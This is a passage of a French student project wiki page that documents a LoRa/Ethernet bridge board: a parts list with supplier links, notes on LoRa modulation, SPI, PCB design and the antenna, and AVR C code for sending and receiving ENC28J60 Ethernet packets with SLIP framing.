 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
